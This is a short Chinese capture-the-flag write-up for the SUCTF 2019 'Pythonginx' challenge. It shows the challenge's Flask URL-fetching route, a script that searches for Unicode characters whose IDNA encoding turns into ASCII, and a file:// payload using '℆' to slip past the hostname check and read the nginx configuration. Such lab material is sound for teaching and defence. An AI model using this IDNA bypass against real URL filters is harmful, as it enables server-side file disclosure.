【BUUCTF】[SUCTF 2019]Pythonginx

@app.route('/getUrl', methods=['GET', 'POST'])
	def getUrl():
    	url = request.args.get("url")
    	host = parse.urlparse(url).hostname
    	if host == 'suctf.cc':
        	return "我扌 your problem? 111"
    	parts = list(urlsplit(url))
	    host = parts[1]
	    if host == 'suctf.cc':
	        return "我扌 your problem? 222 " + host
	    newhost = []
	    for h in host.split('.'):
	       	newhost.append(h.encode('idna').decode('utf-8'))
	    parts[1] = '.'.join(newhost)
	    #去掉 url 中的空格
	    finalUrl = urlunsplit(parts).split(' ')[0]
	    host = parse.urlparse(finalUrl).hostname
	    if host == 'suctf.cc':
	        return urllib.request.urlopen(finalUrl).read()
	    else:
	        return "我扌 your problem? 333"
	    </code>
    <!-- Dont worry about the suctf.cc. Go on! -->
    <!-- Do you know the nginx? -->

这道题核心就是一个知识点，idna与utf-8编码漏洞
idna与utf-8编码漏洞
Black-Hat
贴一个跑编码对照的脚本

# coding:utf-8
for i in range(128,65537):
    tmp=chr(i)
    try:
        res = tmp.encode('idna').decode('utf-8')
        if("-") in res:
            continue
        print("U:{}    A:{}      ascii:{} ".format(tmp, res, i))
    except:
        pass

这道题很多方式绕过，可以用U:℆ A:c/u ascii:8454
file://suctf.cc/usr/local/nginx/conf/nginx.conf，刚好℆可以替代c/u